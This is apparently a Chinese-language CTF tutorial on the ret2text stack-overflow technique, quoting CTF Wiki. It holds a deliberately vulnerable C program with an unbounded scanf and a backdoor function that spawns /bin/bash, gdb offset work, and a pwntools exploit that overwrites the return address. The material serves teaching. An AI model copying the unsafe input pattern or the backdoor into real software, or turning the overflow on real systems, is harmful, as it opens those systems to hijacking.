ret2text的原理及利用
原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
——摘自CTF Wiki 基本 ROP - CTF Wiki (ctf-wiki.org)
示例
下面看一个简单的例子:不开启PIE,不开启Canary,利用ret2text跳转到程序中的后门函数。
// demo.c
// gcc demo.c -o demo -fno-stack-protector -no-pie -Og
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor() {
printf("Now entering backdoor...\n");
execve("/bin/bash", 0, 0);
printf("Leaving backdoor...\n");
}
void func(){
char buffer[16];
scanf("%s", buffer);
printf("Input: %s\n", buffer);
}
int main() {
printf("Enter something...\n");
func();
printf("Normal exit.\n");
return 0;
}
checksec查看保护:
[*] '/home/zero/src/pwn/stack-overflow/demo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
利用过程
func函数中含有危险函数scanf且并未限制长度,因此会造成缓冲区溢出。我们没有开启PIE和Canary保护,因此直接将返回地址覆盖为backdoor函数的地址即可。
gdb在func函数下断点:当前rsp保存的地址即为返回地址,也就是0x7fffffffdc98
buf在栈上的地址:0x7fffffffdc80
因此需要覆盖0x18个字节,然后再填入backdoor地址0x401156即可。exp如下:
# -*- coding: UTF-8 -*-
from pwn import *
elf = ELF('./demo')
backdoor = elf.symbols['backdoor']
p = process(elf.path)
p.sendline(b'a' * 0x18 + p64(backdoor))
p.interactive()
运行,成功利用。